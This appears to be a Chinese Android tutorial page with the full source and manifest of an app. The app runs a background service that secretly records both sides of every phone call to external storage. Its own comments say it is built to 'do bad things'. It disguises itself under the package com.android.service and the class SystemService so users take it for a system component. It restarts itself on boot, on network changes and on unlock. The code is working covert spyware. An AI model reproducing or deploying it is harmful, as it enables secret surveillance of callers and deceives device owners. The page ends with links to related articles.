MainActivity


  1. public class MainActivity extends ListActivity {
  2.     private BatteryChangedReceiver receiver;
  3.     @Override
  4.     protected void onCreate(Bundle savedInstanceState) {
  5.         super.onCreate(savedInstanceState);
  6.         List<String> mData = new ArrayList<String>(Arrays.asList("开启服务", "停止服务", "判断服务是否正在运行", "动态注册电量变化的广播接收者", "取消注册"));
  7.         ListAdapter mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mData);
  8.         setListAdapter(mAdapter);
  9.         receiver = new BatteryChangedReceiver();
  10.     }
  11.     @Override
  12.     protected void onListItemClick(ListView l, View v, int position, long id) {
  13.         switch (position) {
  14.         case 0:
  15.             startService(new Intent(this, SystemService.class));
  16.             break;
  17.         case 1:
  18.             stopService(new Intent(this, SystemService.class));
  19.             break;
  20.         case 2:
  21.             Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, "com.android.service.SystemService"), Toast.LENGTH_SHORT).show();
  22.             break;
  23.         case 3://电池的状态改变广播ACTION_BATTERY_CHANGED只有通过动态方式注册后才能获得。sticky:粘性的; 热湿的,闷热的; 极不愉快的; 不动的;
  24.             IntentFilter filter = new IntentFilter();
  25.             filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery.
  26.             filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog. 
  27.             filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state. 
  28.             registerReceiver(receiver, filter);
  29.             break;
  30.         case 4:
  31.             unregisterReceiver(receiver);
  32.             receiver = null;
  33.             break;
  34.         }
  35.     }
  36.     public static boolean isServiceWorked(Context context, String serviceName) {
  37.         ActivityManager myManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
  38.         ArrayList<RunningServiceInfo> runningService = (ArrayList<RunningServiceInfo>) myManager.getRunningServices(Integer.MAX_VALUE);
  39.         for (int i = 0; i < runningService.size(); i++) {
  40.             if (runningService.get(i).service.getClassName().toString().equals(serviceName)) {
  41.                 return true;
  42.             }
  43.         }
  44.         return false;
  45.     }
  46. }
  47.  

SuperReceiver  

  1. /** 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事*/
  2. public class SuperReceiver extends BroadcastReceiver {
  3.     @Override
  4.     public void onReceive(Context context, Intent intent) {
  5.         context.startService(new Intent(context, SystemService.class));
  6.         Log.i("bqt", intent.getAction());
  7.     }
  8. }
  9.  

电量改变的Receiver

  1. public class BatteryChangedReceiver extends BroadcastReceiver {
  2.     @Override
  3.     public void onReceive(Context context, Intent intent) {
  4.         String action = intent.getAction();
  5.         if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_CHANGED)) {//"android.intent.action.BATTERY_CHANGED"
  6.             Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION");
  7.             Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1));
  8.             Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLD
  9.             Log.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1));
  10.             Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1));
  11.             Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1));
  12.             Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电
  13.             Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ion
  14.             Log.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1));
  15.         } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_LOW)) {// "android.intent.action.BATTERY_LOW"
  16.             Log.i("battery", "电池电量低:ACTION_BATTERY_LOW");
  17.         } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_OKAY)) {// "android.intent.action.BATTERY_OKAY"
  18.             Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY");
  19.         }
  20.     }
  21. }
  22.  

Service

  1. /**为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。
  2.  *  为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务呢! */
  3. public class SystemService extends Service {
  4.     private PhoneStateListener listener;
  5.     @Override
  6.     public IBinder onBind(Intent intent) {
  7.         return null;
  8.     }
  9.     @Override
  10.     public void onCreate() {
  11.         listener = new MyPhoneStateListener();
  12.         ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
  13.         Log.i("bqt", "++++++onCreate-1");
  14.         super.onCreate();
  15.     }
  16.     @Override
  17.     public int onStartCommand(Intent intent, int flags, int startId) {
  18.         Log.i("bqt", "++++++onStartCommand-1");
  19.         return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建
  20.         /**1、START_STICKY:进程被kill后,将保留在开始状态,但是不保留那些传入的intent。不久后service就会再次尝试重新创建,
  21.                    因为保留在开始状态,在创建service后将保证调用onstartCommand。如果没有传递任何开始命令给service,那将获取到null的intent。
  22.               2、START_NOT_STICKY:进程被kill后,并且没有新的intent传递给它,Service将移出开始状态,并且直到有新的startService调用才重新创建。
  23.                      因为如果没有传递任何未决定的intent那么service是不会启动,也就是期间onstartCommand不会接收到任何null的intent。
  24.              3、START_REDELIVER_INTENT:进程被kill后,系统会再次启动service,并传入最后一个intent给onstartCommand.直到调用stopSelf才停止传递intent。
  25.                     如果在被kill后还有未处理好的intent,那被kill后服务还是会自动启动。因此onstartCommand不会接收到任何null的intent。*/
  26.     }
  27.     @Override
  28.     public void onDestroy() { //在onDestroy中再启动本服务(张泽华老师说不可以启动自己,实测是可以的!),但是用户杀进程时不会调用onDestroy方法。
  29.         //startService(new Intent(this, SystemService.class));
  30.         // 取消电话的监听
  31.         ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE);
  32.         listener = null;
  33.         Log.i("bqt", "++++++onDestroy-1");
  34.         super.onDestroy();
  35.     }
  36. }
  37.  

电话状态监听

  1. public class MyPhoneStateListener extends PhoneStateListener {
  2.     private String phoneNumber; // 来电号码
  3.     public static final String filePath = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords";
  4.     private File directory, file;
  5.     private MediaRecorder mediaRecorder;
  6.     @Override
  7.     public void onCallStateChanged(int state, String incomingNumber) {
  8.         super.onCallStateChanged(state, incomingNumber);
  9.         try {
  10.             switch (state) {
  11.             case TelephonyManager.CALL_STATE_RINGING://响铃状态
  12.                 phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的
  13.                 break;
  14.             case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
  15.                 mediaRecorder = new MediaRecorder();
  16.                 if (this.phoneNumber == null) this.phoneNumber = "null_";
  17.                 directory = new File(filePath);
  18.                 if (!directory.exists()) directory.mkdir();
  19.                 file = new File(filePath + File.separator + phoneNumber + new SimpleDateFormat("yyyyMMdd_HHmmss'.amr'", Locale.getDefault()).format(new Date()));
  20.                 if (!file.exists()) file.createNewFile();
  21.                 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源
  22.                 //MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数
  23.                 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等
  24.                 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等
  25.                 mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径
  26.                 mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常
  27.                 mediaRecorder.start();
  28.                 Log.i("bqt", "开始录音!");
  29.                 break;
  30.             case TelephonyManager.CALL_STATE_IDLE://空闲状态
  31.                 if (mediaRecorder != null) {
  32.                     //释放资源
  33.                     mediaRecorder.stop();
  34.                     //mediaRecorder.reset(); //重设
  35.                     mediaRecorder.release();
  36.                     mediaRecorder = null;
  37.                 }
  38.                 Log.i("bqt", "结束录音!");
  39.                 break;
  40.             }
  41.         } catch (Exception e) {
  42.         }
  43.     }
  44. }
  45.  

清单文件

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3.     package="com.android.service"
  4.     android:versionCode="1"
  5.     android:versionName="1.0" >
  6.     <uses-sdk
  7.         android:minSdkVersion="8"
  8.         android:targetSdkVersion="17" />
  9.     <!-- 访问电话状态 -->
  10.     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
  11.     <!-- 允许程序监视、修改或放弃拨打电话 -->
  12.     <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
  13.     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
  14.     <!-- 挂载、反挂载外部文件系统 -->
  15.     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
  16.     <!-- 录音权限 -->
  17.     <uses-permission android:name="android.permission.RECORD_AUDIO" />
  18.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  19.     <application
  20.         android:allowBackup="true"
  21.         android:icon="@drawable/ic_launcher"
  22.         android:label="@string/app_name"
  23.         android:theme="@style/AppTheme" >
  24.         <activity
  25.             android:name=".MainActivity"
  26.             android:label="@string/app_name" >
  27.             <intent-filter>
  28.                 <action android:name="android.intent.action.MAIN" />
  29.                 <category android:name="android.intent.category.LAUNCHER" />
  30.             </intent-filter>
  31.         </activity>
  32.         <receiver android:name=".SuperReceiver" >
  33.             <intent-filter>
  34.                 <action android:name="android.intent.action.BOOT_COMPLETED" />
  35.                 <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
  36.                 <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
  37.                 <!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 -->
  38.                 <action android:name="android.intent.action.USER_PRESENT" />
  39.             </intent-filter>
  40.         </receiver>
  41.         <service
  42.             android:name=".SystemService"
  43.             android:process=":process1" />
  44.     </application>
  45. </manifest>
  46.  

附件列表

服务 通话录音 TelephonyManager的更多相关文章

  1. android中通话录音

    file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMil ...

  2. 服务 Service 简单案例 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  3. Android实训案例(七)——四大组件之一Service初步了解,实现通话录音功能,抽调接口

    Service Service的神奇之处,在于他不需要界面,一切的操作都在后台操作,所以很多全局性(手机助手,语音助手)之类的应用很长需要这个,我们今天也来玩玩 我们新建一个工程--ServiceDe ...

  4. Android四大组件应用系列——实现电话拦截和电话录音

    一.问题描述 使用BordercastReceiver和Service组件实现下述功能: 1.当手机处于来电状态,启动监听服务,对来电进行监听录音. 2.设置电话黑名单,当来电是黑名单电话,则直接挂断 ...

  5. Android实训案例(七)——四大组件之中的一个Service初步了解,实现通话录音功能,抽调接口

    Service Service的奇妙之处.在于他不须要界面,一切的操作都在后台操作,所以非常多全局性(手机助手,语音助手)之类的应用非常长须要这个.我们今天也来玩玩 我们新建一个project--Se ...

  6. Android简易实战教程--第三十六话《电话录音》

    今天完成一个简单的电话录音功能,即接通电话后,立即录下自己打电话的声音.实现起来比较简单:一个服务,一个TelephonyManager.一个MediaRecorder就够了. 1.布局提供一个开启录 ...

  7. 三星N900(note3)刷机包 颓废N0.8.1 修复已知BUG 集成谷歌服务

    ROM介绍 8.1更新信息:攻克了来电后点击HOME出现SECPHONE已经停止的问题 去掉了桌面隐藏信息的选项,官方最新底包暂不支持这功能 增加了网友们须要验证的谷歌服务(不须要的同学同步什么的都关 ...

  8. 【Android】【录音】Android录音--AudioRecord、MediaRecorder

    [Android][录音]Android录音--AudioRecord.MediaRecorder Android提供了两个API用于实现录音功能:android.media.AudioRecord. ...

  9. Android录音--AudioRecord、MediaRecorder

    Android提供了两个API用于实现录音功能:android.media.AudioRecord.android.media.MediaRecorder. 网上有很多谈论这两个类的资料.现在大致总结 ...

随机推荐

  1. ORACLE调度之基于时间的调度(一)【weber出品】

    一.调度的概述 这里我看到一篇对调度的概述觉得描述的比我好,但仅限于概述部分,其他部分我觉得我讲的比他好,于是发生以下事情: ************************华丽的转载******** ...

  2. poj2236 基础并查集

    题目链接:http://poj.org/problem?id=2236 题目大意:城市网络由n台电脑组成,因地震全部瘫痪,现在进行修复,规定距离小于等于d的电脑修复之后是可以直接相连 进行若干操作,O ...

  3. PHP获取指定年份指定月份的天数

    最近写接口的时候突然发现的非常实用的php函数,在这儿分享一下: cal_days_in_month(calender,$month,$year): calender:历法,常量,如CAL_GREGO ...

  4. java之多线程的理解

    线程的属性 (1)线程的状态     线程在它的生命周期中可能处于以下几种状态之一: New(新生):线程对象刚刚被创建出来: Runnable(可运行):在线程对象上调用start方法后,相应线程便 ...

  5. Android实现三级联动下拉框 下拉列表spinner

    Android实现(省.市.县)三级联动下拉框 下拉列表spinner 转载请注明出处: http://www.goteny.com/articles/2013/11/46.html http://w ...

  6. Android UI 调试常用工具(Dump view UI hierarchy for Automator)

    UI调试时程序员比较头疼的问题:有时候经常会被1dp.2dp的问题,搞得无言以对(Android开发深有体会) 下面介绍一个在实际开发过程中常用的一个调试工具,可以精确到每个View在屏幕中的绝对位置 ...

  7. 转:MFC网络编程学习

    要学习好网路编程,主要看以下几个方面: 1.掌握概念,诸如:同步(Sync)/异步(Async),阻塞(Block)/非阻塞(Unblock)等. 2.在实际Windows网络通信软件开发中,异步非阻 ...

  8. nosql newsql

    http://www.cnblogs.com/end/archive/2011/10/19/2217244.html http://www.csdn.net/article/2011-09-26/30 ...

  9. Qt on Android

    Qt on Android Episode 7(翻译) http://blog.csdn.net/foruok/article/details/46323129 Android基础整理之四大组件Act ...

  10. ActionResult 的返回类型

    大多数操作方法会返回从 ActionResult 中派生的类的实例. ActionResult 类是所有操作结果的基础. 不过,也存在不同的操作结果类型,具体取决于操作方法执行的任务. 例如,最常见的 ...